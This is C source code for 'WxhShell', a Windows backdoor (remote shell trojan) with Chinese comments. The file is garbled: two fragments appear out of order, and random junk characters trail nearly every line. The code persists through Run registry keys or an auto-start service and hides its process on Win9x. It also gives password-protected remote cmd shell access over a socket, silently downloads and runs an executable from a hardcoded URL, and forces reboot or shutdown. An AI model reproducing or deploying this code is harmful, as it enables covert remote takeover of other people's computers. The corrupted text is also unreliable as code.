    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kREFh4QO,  
    else { \(=xc2  
    closesocket(wsh); G\5Bdo1g  
    ExitThread(0); of7p~{3H  
    } 6&6dd_K(  
    break; (4RtoYWW  
    } 7!(/7U6rP  
  // 获取shell )mI>2<Z!  
  case 's': { Wi5Dl=  
    CmdShell(wsh); Isvb;VT9L  
    closesocket(wsh); 7rbw_m`12-  
    ExitThread(0); 'byTM?Sp{  
    break; (RrC<5"  
  } -OmpUv-O"  
  // 退出 3LJ\y  
  case 'x': { ?G7*^y&Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @c"s6h&  
    CloseIt(wsh); eHGx00:  
    break; :5&UWL|  
    } \+/ciPzA-  
  // 离开 thX4-'i  
  case 'q': { `'P&={p8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (nBh6u*  
    closesocket(wsh); "X!1^)W -8  
    WSACleanup(); UUbO\_&y  
    exit(1); t>LSP$  
    break; )K::WqR%w)  
        } O[L#|_BnEO  
  } HE_UHv  
  } (E,[Ad,$  
7I]?:%8 h  
  // 提示信息 x./"SQ=R+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l O*  
} 2!CL8hG5:  
  } vg@5`U`^h  
3m4 sh~  
  return; ~ Al3Dv9x  
} :yi} CM4  
lfd-!(tXD  
// shell模块句柄 PA*k |  
int CmdShell(SOCKET sock) vF~q".imC  
{ 9&Y|,&W  
STARTUPINFO si; IZ^:wIKo{  
ZeroMemory(&si,sizeof(si)); XhWo~zh"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Nf#{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m J$[X  
PROCESS_INFORMATION ProcessInfo; ZFH-srs{  
char cmdline[]="cmd"; `m#G'E I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *:un+k  
  return 0; o /1+ }f  
} TXV^f*  
aMkuyqPf{  
// 自身启动模式 ?|}qT05  
int StartFromService(void) <}c7E3Uc  
{ T$<'ZC  
typedef struct #D?w,<_8,  
{ :9x]5;ma  
  DWORD ExitStatus; i-p,x0th  
  DWORD PebBaseAddress; 2~ETu&R:  
  DWORD AffinityMask; 7PUy`H,&  
  DWORD BasePriority; s`[V{1m,  
  ULONG UniqueProcessId; 8I#^qr5  
  ULONG InheritedFromUniqueProcessId; &m9= q|;m  
}   PROCESS_BASIC_INFORMATION; xb9^WvV  
hPGDN\#LD  
PROCNTQSIP NtQueryInformationProcess; oOubqx  
dNqj|Vu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iYw1{U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K&gE4;>  
$83Qd  
  HANDLE             hProcess; /P46k4M1U  
  PROCESS_BASIC_INFORMATION pbi; Qz2jV  
jeA2y jAC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C{G=Y[?oc  
  if(NULL == hInst ) return 0; "A~D(1K  
8ql<7RTM!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4OO^%`=)M'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2\|sXC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $$Ibr]$5  
yzL9Ic  
  if (!NtQueryInformationProcess) return 0; >){}nlQf  
v6! `H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q.V@Sawe5  
  if(!hProcess) return 0; 42,dHYdt  
;<+Z}d/g9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0HbCT3g.  
86?~N  
  CloseHandle(hProcess); a%6=sqxE  
I.~=\%Z {  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b`DPlQHj  
if(hProcess==NULL) return 0; >lek@euqw  
_Vt9ckaA  
HMODULE hMod; oz|+{b}%  
char procName[255]; ]y$/~(OW  
unsigned long cbNeeded; %=s2>vv9  
/%t`0pi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]ERAt^$0  
C+t|fSJ  
  CloseHandle(hProcess); sE{5&aCSR  
dPV<:uO  
if(strstr(procName,"services")) return 1; // 以服务启动 ka(3ONbG  
={6vShG)m  
  return 0; // 注册表启动 KRP6b:+4L  
} P~x4h{~Gd  
Zk|PQfi+  
// 主模块 M A%g-}  
int StartWxhshell(LPSTR lpCmdLine) sdd%u~4,X  
{ XGYsTquSe  
  SOCKET wsl; m?4HVv  
BOOL val=TRUE; 9 *v14c%  
  int port=0; c3<H272\  
  struct sockaddr_in door; Ex L7 ]3r  
[IHG9Xg  
  if(wscfg.ws_autoins) Install(); >*+n`"6  
{`> pigo  
port=atoi(lpCmdLine); /%{CJ0Y  
0dD.xuor  
if(port<=0) port=wscfg.ws_port; hX-^h2eV  
rCA0c8  
  WSADATA data; ICG:4n(,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W~l.feW$i  
#0^a-47PA<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ox";%|PP1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $0~1;@`rQ6  
  door.sin_family = AF_INET; LJ z6)kz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1NrNTBI@  
  door.sin_port = htons(port); rV-Xsf7Z  
/P/0\3TCi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lX 50JJwk  
closesocket(wsl);  7(o:J  
return 1; Gu2=+?i?h  
} 2J3y 1  
3YUF\L]yyw  
  if(listen(wsl,2) == INVALID_SOCKET) { mWLiXKnb  
closesocket(wsl); fX1Ib$v  
return 1; `:0Auw9h  
} C8(0|XX  
  Wxhshell(wsl); "0z4mQ}>N  
  WSACleanup(); XN3'k[  
9%MgAik(  
return 0; $}0\sj%  
nVP|{M  
} iUqD>OV  
Fd%JF#Hk  
// 以NT服务方式启动 T=g2gmo9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PbV1FB_  
{ 4O{,oN~7  
DWORD   status = 0; D7jbo[GgS  
  DWORD   specificError = 0xfffffff; #B_H/9f(  
H5jk#^FD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LW!4KA]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  Tx'anP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4:s,e<Tc4v  
  serviceStatus.dwWin32ExitCode     = 0; &C?4'e  
  serviceStatus.dwServiceSpecificExitCode = 0; br?pfs$U  
  serviceStatus.dwCheckPoint       = 0; f&Juq8s_0  
  serviceStatus.dwWaitHint       = 0; lXVh`+X/l  
/(%!txSNEt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PT4iy<  
  if (hServiceStatusHandle==0) return; 6y{CM/DC  
TeJ=QpGW2  
status = GetLastError(); ArT@BqWd  
  if (status!=NO_ERROR) .rlLt5b%  
{ a`U/|[JM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _@_EQ!=  
    serviceStatus.dwCheckPoint       = 0; X LY>}r  
    serviceStatus.dwWaitHint       = 0; I&% Z*H  
    serviceStatus.dwWin32ExitCode     = status; ^i@0P}K<  
    serviceStatus.dwServiceSpecificExitCode = specificError; eK\i={va  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \@{TF((Y  
    return; WZviC_  
  } $L'[_J  
F$YT4414  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; # 3FsK  
  serviceStatus.dwCheckPoint       = 0; O6\c1ha  
  serviceStatus.dwWaitHint       = 0; @$~;vS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~svea>Fmr  
} ?ihRt+eR~  
fUq #mkq}  
// 处理NT服务事件,比如:启动、停止 h5v=h>c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fM(~>(q&  
{ "|E'E"_1  
switch(fdwControl) @F|pKf:M+  
{ -AB0uMot  
case SERVICE_CONTROL_STOP: hN\Q&F!  
  serviceStatus.dwWin32ExitCode = 0; xo!2 GPD.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y7')~C`up^  
  serviceStatus.dwCheckPoint   = 0; `"#hhKG  
  serviceStatus.dwWaitHint     = 0; F&7^M0x\ O  
  { !2.eJ)G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -^< t%{d  
  } DX/oHkLD'  
  return; srS)"Jt  
case SERVICE_CONTROL_PAUSE: Y/L*0 M.<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wxF\enDY  
  break; \[A JWyP  
case SERVICE_CONTROL_CONTINUE: }E&:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X7*fmD=Uy  
  break; =9:gW5F69  
case SERVICE_CONTROL_INTERROGATE: jq_ i&~S  
  break; 9LSV^[QUH  
}; ?*~sx=mC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zu,Yuq  
} dleCh+ny?  
T^#d\2  
// 标准应用程序主函数 R I:kp.V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }LoMS<O-[  
{ p?4,YV|#  
 ;B{oGy.  
// 获取操作系统版本 A,?6|g`q'  
OsIsNt=GetOsVer(); {r#uD5NJ/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d@ ] N  
[<wpH0lNoy  
  // 从命令行安装 *rYPjk6g[  
  if(strpbrk(lpCmdLine,"iI")) Install(); /^WOrMR  
A~< cp)E  
  // 下载执行文件 nL]eGC  
if(wscfg.ws_downexe) { 6$H`wDh#(&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _Ec"[xW  
  WinExec(wscfg.ws_filenam,SW_HIDE); {"|la;*I  
} _]L]_Bh  
({cWb:+r  
if(!OsIsNt) { D"IxQ2}k  
// 如果时win9x,隐藏进程并且设置为注册表启动 )OK"H^}f  
HideProc(); h%sw^;\!  
StartWxhshell(lpCmdLine); 0y2zjXM;3  
}  I*n]8c  
else Qve5qJ  
  if(StartFromService()) Rt@O@oDI  
  // 以服务方式启动 ` ^;J<l  
  StartServiceCtrlDispatcher(DispatchTable); I]WvcDJ}C  
else 27}0  
  // 普通方式启动 XI,=W  
  StartWxhshell(lpCmdLine); CQ7NQ^3k  
6lUC$B Y  
return 0; 7/)0{B4U'  
} =JxEM7r  
Z=]ujlD  
 %Nx,ZD@  
7t/Y5Qf  
=========================================== h\+8eeIl  
Y3SV6""y/  
28 zZ3|Z3  
#];ulDq  
A f}o/g  
A.~wgJDO  
" j' b0sve|?  
moZeP#Q%  
#include <stdio.h> Q(4~r+  
#include <string.h>  %\~U>3Q  
#include <windows.h> . "7-f]!  
#include <winsock2.h> ]2A2<Q_,  
#include <winsvc.h> ?6h~P:n.  
#include <urlmon.h> d ]jF0Wx*  
,V{Bpr  
#pragma comment (lib, "Ws2_32.lib") '-3K`[  
#pragma comment (lib, "urlmon.lib") "6v_<t`q"  
n$E$@  
#define MAX_USER   100 // 最大客户端连接数 w}e_ 17A  
#define BUF_SOCK   200 // sock buffer Q% ^_<u  
#define KEY_BUFF   255 // 输入 buffer Hoi~(Vc.  
}'Ph^ %ox  
#define REBOOT     0   // 重启 OLoo#HW  
#define SHUTDOWN   1   // 关机 p[)yn%uh  
^AERGB\36  
#define DEF_PORT   5000 // 监听端口 zjzEmX  
-z%->OUu  
#define REG_LEN     16   // 注册表键长度 KEf1GU6s  
#define SVC_LEN     80   // NT服务名长度 ;j+*}|!  
xc7Rrh]}  
// 从dll定义API XD80]@\za  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Q\RCl_1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F)@zo/u5L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *e:2iM)8~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 []!Km  
A=70UL  
// wxhshell配置信息 dJlK'zK  
struct WSCFG { pimI)1 !$'  
  int ws_port;         // 监听端口 MPF({Pnx7  
  char ws_passstr[REG_LEN]; // 口令 x6^FpNgQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9#kk5)J  
  char ws_regname[REG_LEN]; // 注册表键名 ;Zn&Nc7  
  char ws_svcname[REG_LEN]; // 服务名 dux_v"Xl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p\Iy)Y2Lf!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D%6}x^`Qk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mky^X,r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6X$nZM|g,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XinKG< 3!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _qh \  
<N3~X,ch  
}; V}Oz!  O  
KIKIag#  
// default Wxhshell configuration }G!'SZ$F 5  
struct WSCFG wscfg={DEF_PORT, 'z@]hm#  
    "xuhuanlingzhe", -lXQQ#V -  
    1, <vu~EY0.  
    "Wxhshell", `, 4YPjk^  
    "Wxhshell", 2EO9IxIf  
            "WxhShell Service", ce719n$   
    "Wrsky Windows CmdShell Service", l_,6<wWp  
    "Please Input Your Password: ", Mgu9m8 `J  
  1, xn)F(P 0kv  
  "http://www.wrsky.com/wxhshell.exe", }iLi5Qkx  
  "Wxhshell.exe" %=V" }P[  
    }; &3)6WD?:U  
p0}Yo8?OW  
// 消息定义模块 RN;#H_ q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $>Ow<! c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `>RM:!m6=$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h]IoH0/  
char *msg_ws_ext="\n\rExit."; U.ZA%De  
char *msg_ws_end="\n\rQuit."; JV+Uy$P!  
char *msg_ws_boot="\n\rReboot..."; JIc9csr:b  
char *msg_ws_poff="\n\rShutdown..."; @ ]42.oP  
char *msg_ws_down="\n\rSave to "; 8: uh0  
:_+U[k(#  
char *msg_ws_err="\n\rErr!"; K9 K.mGYc  
char *msg_ws_ok="\n\rOK!"; XXQC`%-]<i  
' -aLBAxy  
char ExeFile[MAX_PATH]; TGjxy1A  
int nUser = 0; XjYMp3  
HANDLE handles[MAX_USER]; }g[Hi`  
int OsIsNt; hqwsgJ  
wzZ]| C(vp  
SERVICE_STATUS       serviceStatus; A>(EM}\,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T~4HeEG>uH  
QD1&"T<.d.  
// 函数声明 IWwOP{ <ZQ  
int Install(void); t{B6W)q  
int Uninstall(void); {7v|\6@e3  
int DownloadFile(char *sURL, SOCKET wsh); {nS(B  
int Boot(int flag); RusiCo!r  
void HideProc(void); Oo ^ AE  
int GetOsVer(void); 6.a>7-K}%  
int Wxhshell(SOCKET wsl); ^{NN-  
void TalkWithClient(void *cs); 0XE(vc!  
int CmdShell(SOCKET sock); /Wdrpv-%,1  
int StartFromService(void); ,eL&Ner  
int StartWxhshell(LPSTR lpCmdLine); ZT,au SX  
PAVlZ}kj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +LF=oM<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]n$ v ^  
5cl^:Ua  
// 数据结构和表定义 V=+p8nE0  
SERVICE_TABLE_ENTRY DispatchTable[] = 715J1~aRNr  
{ |@?='E?h  
{wscfg.ws_svcname, NTServiceMain}, kpk ^Uw%f  
{NULL, NULL} FE#| 5;q.  
}; ONc#d'-L  
8zwH^q[`r  
// 自我安装 f,BJb+0  
int Install(void) ]HRHF'4  
{ DvA#zX[  
  char svExeFile[MAX_PATH]; :MH=6  
  HKEY key; a &`^M  
  strcpy(svExeFile,ExeFile); g7eI;Tpv  
QEmktc1 7  
// 如果是win9x系统,修改注册表设为自启动 E#kH>q@K`$  
if(!OsIsNt) { 5F :\U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >as+#rz1p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [y<s]C6E  
  RegCloseKey(key); <FN +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $A(3-n5=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &((04<@e  
  RegCloseKey(key); +^$;oG  
  return 0; HS1{4/  
    } kC'm |Y@T  
  } %,d+jBM  
} "`w*-O  
else { viVn  
R!rMrWX  
// 如果是NT以上系统,安装为系统服务 TdoH(( nY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fo]]j=  
if (schSCManager!=0) bnE&-N*  
{ LI"N^K'z  
  SC_HANDLE schService = CreateService /4+*!X  
  ( CKDg3p';  
  schSCManager, mrVN&.  
  wscfg.ws_svcname, fo I:`]2"*  
  wscfg.ws_svcdisp, V0gu0+u~R  
  SERVICE_ALL_ACCESS, W5&KmA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rhN"#?  
  SERVICE_AUTO_START, E/E|*6R  
  SERVICE_ERROR_NORMAL, #;"lBqxY`  
  svExeFile, zEeix,IU  
  NULL, gOaK7A  
  NULL,  7re4mrC  
  NULL, FwQGxGZ  
  NULL, ;47=x1j i  
  NULL "&mwrjn"T  
  ); HZ\=NDz  
  if (schService!=0) <(us(zbk]  
  { \/r]Ra  
  CloseServiceHandle(schService); =e6!U5 f  
  CloseServiceHandle(schSCManager); A}1:fw\Fn3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #|Je%t}~  
  strcat(svExeFile,wscfg.ws_svcname); CY)[{r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EhN@;D+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L_IvR 4:j~  
  RegCloseKey(key); >lugHF$G  
  return 0; X`I=Z ysB  
    } |@)jS.Bn  
  } %@;xbKj  
  CloseServiceHandle(schSCManager); mQtOx  
} NV`7VYU  
} Btc[  
"VAbUs  
return 1; UD5f+,_;  
} /{Z<!7u;U  
2{L[D9c/6  
// 自我卸载 QmsS,Zljo  
int Uninstall(void) jgw+c3^R_  
{ 8sL+ik"  
  HKEY key; j*_#{niy:  
5)M#hx%]#  
if(!OsIsNt) { o^BX:\}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vb~;"WABo  
  RegDeleteValue(key,wscfg.ws_regname); l +O\oD?-  
  RegCloseKey(key); q4u-mM7#7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9cMMkOM J  
  RegDeleteValue(key,wscfg.ws_regname); ~hU^5R-%  
  RegCloseKey(key); 'W[Nr  
  return 0; CWnRRZ}r  
  } JZD&u6tB   
} r / L  
} l{_1`rC'  
else { &|Vzo@D(!  
}z2K"eGt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]tEH`Kl  
if (schSCManager!=0) o(xt%'L`t  
{ !(N,tZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !]!9 $6n  
  if (schService!=0) 4rNuAK`2  
  { [xPO'@Y  
  if(DeleteService(schService)!=0) { mzTM&@  
  CloseServiceHandle(schService); 1ka58_^  
  CloseServiceHandle(schSCManager); et6@);F  
  return 0; it=ir9  
  } o31pF  
  CloseServiceHandle(schService); wpm $?X  
  } <U""CAE  
  CloseServiceHandle(schSCManager); *&W1|Qkg_  
} BctU`.  
} zMAlZ[DN  
|JCn=v@  
return 1; P/dT;YhL  
} p5 !B  
zcn> 4E)  
// 从指定url下载文件 nPAVrDg O  
int DownloadFile(char *sURL, SOCKET wsh) aGUKpYF  
{ Q Pel n)  
  HRESULT hr; GI]sE]tZ  
char seps[]= "/"; nDt1oM H  
char *token; @Ido6Z7  
char *file; C`p)S`d  
char myURL[MAX_PATH]; @raw8w\Zj+  
char myFILE[MAX_PATH];  2s+ITPr  
~E]ct F  
strcpy(myURL,sURL); o~ v   
  token=strtok(myURL,seps); S 54N  
  while(token!=NULL) 2}NWFM3C  
  { ZSB_OS[N  
    file=token; "kYzgi  
  token=strtok(NULL,seps); -uE2h[X|  
  } BA1|%:.   
f3g#(1  
GetCurrentDirectory(MAX_PATH,myFILE); 47GL[ofY  
strcat(myFILE, "\\"); T7wy{;  
strcat(myFILE, file); x]1G u  
  send(wsh,myFILE,strlen(myFILE),0); xaM? B7  
send(wsh,"...",3,0); n$jOk |W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); & o2F4  
  if(hr==S_OK) 6:(R/9!P  
return 0; l'pu?TP{a  
else {*X8!P7C  
return 1; )yHJc$OlMx  
c@+;4Iz  
} ,b&-o?.{  
w6B'&  
// 系统电源模块 BW`)q/  
int Boot(int flag) [f_4%Now  
{ `|[" {j}^  
  HANDLE hToken; `]+-z +  
  TOKEN_PRIVILEGES tkp; t Q0vX@I<v  
|Lq -vs?  
  if(OsIsNt) { &ye,A(4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dzK]F/L]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X5(S+;v"^  
    tkp.PrivilegeCount = 1; s+=JT+g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \Mujx3Fmvx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 34@f(^d+^  
if(flag==REBOOT) { !hBzT7CO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EB/.M+~a  
  return 0; ;AFF7N>&  
} U%Igj:%?;`  
else { z3RlD"F1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #rE#lHo  
  return 0; c]pO'6]  
} )2U#<v^  
  } 1j_x51p  
  else { ;+) M~2 =  
if(flag==REBOOT) { @IB+@RmL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?q68{!{bi  
  return 0; 4z~%gt74O]  
} ~7N>tjB  
else { hhS]wM?B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5]Wkk~a  
  return 0; jslfq@5v  
} ^'g1? F$_  
} ?~mw  
if S) < t  
return 1; L @b8,  
} [M^ur%H  
\X'{ ee  
// win9x进程隐藏模块 _` %z  
void HideProc(void) {kLL&`ii  
{ F-=W7 D:[c  
~}SOd<n)|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BjT0m k"P  
  if ( hKernel != NULL ) x*)@:W!  
  { wYf9&}k\4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b,?@_*qv+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o'W[v0> L-  
    FreeLibrary(hKernel); "TWNit  
  } Vx]{<}(gr  
K%Sy~6iD&  
return; S?Y,sl+A:  
} #+1*g4m~B  
hL\gI(B  
// 获取操作系统版本 qlT'gUt=H  
int GetOsVer(void) Wr\rruH6  
{ H8>u:  
  OSVERSIONINFO winfo; 5"f')MKUV9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); htn"rY(  
  GetVersionEx(&winfo); 1U"Fk3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d83K;Ryd  
  return 1; FW)G5^Tf  
  else I_Q*uH.Y5  
  return 0; /4\!zPPj.  
} +4kBd<0Y  
9zj^\-FA_l  
// 客户端句柄模块 t3TnqA  
int Wxhshell(SOCKET wsl) Rt$Q *`u   
{ * /S=9n0  
  SOCKET wsh; @"*8nV#  
  struct sockaddr_in client; 3>[_2}l  
  DWORD myID; kfF.Ctr1a  
H];QDix?  
  while(nUser<MAX_USER) c\.8hd=<  
{ */B-%*#I.  
  int nSize=sizeof(client); 6Xjr0 C+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5feCA ,v7  
  if(wsh==INVALID_SOCKET) return 1; 7o$4ov;T  
jgLCs)=5hV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [.}-nAN  
if(handles[nUser]==0) ]M|Iy~ X   
  closesocket(wsh); MB,;HeP!  
else UR~9*`Z ,  
  nUser++; $ ]/a/!d  
  } p[*NekE6-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l\W[WQP h  
Hu .e@7  
  return 0; ~=5vc''  
} X@u-n_  
9}`A_KzFx  
// 关闭 socket t:m2[U_}  
void CloseIt(SOCKET wsh) jiPV ]aVN  
{ }e/P|7&  
closesocket(wsh); &xF 2!t`  
nUser--; X!0s__IOc  
ExitThread(0); F`9;s@V*  
} i[b?W$]7  
u 89u#gCAC  
// 客户端请求句柄 28L3"c  
void TalkWithClient(void *cs) |C9qM  
{ ?@ ei_<A{  
|q?I(b4Q@  
  SOCKET wsh=(SOCKET)cs; ]9?_ m@Ihx  
  char pwd[SVC_LEN]; v_*E:E  
  char cmd[KEY_BUFF]; p&=F:-  
char chr[1]; dKcHj<'E/  
int i,j; L 6){wQ%c  
wVD-}n1"  
  while (nUser < MAX_USER) { euHX7  
P%5h!Z2m  
if(wscfg.ws_passstr) { Do}mCv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K;2tY+I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Lwl~h!  
  //ZeroMemory(pwd,KEY_BUFF); U5mec167  
      i=0; xh> /bU!>  
  while(i<SVC_LEN) { OT7F#:2`  
z`uqK!v(K  
  // 设置超时 ak50]KYo  
  fd_set FdRead; `+b>@2D_  
  struct timeval TimeOut; +j5u[X  
  FD_ZERO(&FdRead); pt8X.f,iA  
  FD_SET(wsh,&FdRead); zx\N^R;Jq  
  TimeOut.tv_sec=8; :>lica_  
  TimeOut.tv_usec=0; v>Il #  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F2y M2Ldx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Uvtsj#  
,eRl Z3T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %+$P<Rw7  
  pwd=chr[0]; xmtbSRgK9  
  if(chr[0]==0xd || chr[0]==0xa) { ' U(v  
  pwd=0; -"5x? \.{m  
  break; o}5:vi]  
  } Yfy6o6*:  
  i++; 8xmw-s)  
    } #&">x7?5  
$P]% Px!x  
  // 如果是非法用户,关闭 socket K@VXFV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -5\aL"?4  
} xiU-}H'o  
a<Pi J?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |bDN~c:/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K G~](4JE(  
O#A1)~  
while(1) { (7 Mn%Jp  
t Zj6=#  
  ZeroMemory(cmd,KEY_BUFF); #ITx[X89|  
0c1}?$f[?%  
      // 自动支持客户端 telnet标准   $XFG1?L!  
  j=0;  49 3ik  
  while(j<KEY_BUFF) { SPsq][5eR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l3}n.ODA  
  cmd[j]=chr[0]; \{da|n -  
  if(chr[0]==0xa || chr[0]==0xd) { P<kTjG  
  cmd[j]=0; QN-n9f8  
  break; CzzG  
  } +nd'Uf   
  j++; lf|e8kU\f  
    } U6X~]|o  
xpyb&A  
  // 下载文件 *NV`6?o@6  
  if(strstr(cmd,"http://")) { K_`*ZV{r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w;QDQ fx0  
  if(DownloadFile(cmd,wsh)) $E|W|4N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #`GW7(M  
  else G"MpA[a_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zx(j6  
  } vyV n5s  
  else { kVU|k-?2  
